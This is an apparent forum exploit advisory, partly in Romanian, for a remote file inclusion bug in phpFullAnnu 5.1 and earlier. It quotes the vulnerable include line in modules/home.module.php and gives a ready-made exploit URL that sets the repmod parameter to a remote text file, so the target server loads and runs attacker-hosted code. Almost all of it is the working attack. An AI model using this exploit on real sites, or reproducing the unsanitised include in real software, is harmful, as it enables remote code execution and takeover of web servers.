phpFullAnnu <= 5.1 (repmod) Remote File Include Vulnerabilit

[darkking]

phpFullAnnu <= v5.1 (repmod) Remote File Inclusion Exploit

                                                                   

Download : http://pfa.netsliver.com/download/phpfulla...-v5.1.zip   

Versiunea : v5.1                                           

                                                       

Bug in : modules/home.module.php

Cod vulnerabil :

[cod]

      include($repmod.'linksdirect.module.php');

[/cod]

Exploit :

[url='http://sitename.com/[ScriptPath]/modules/home.module.php?repmod=http:/good_boy.txt']http://sitename.com/[ScriptPath]/modules/h...p:/good_boy.txt[/url]?

Discoverd By : SHiKaA

Publicat la: securitydot.net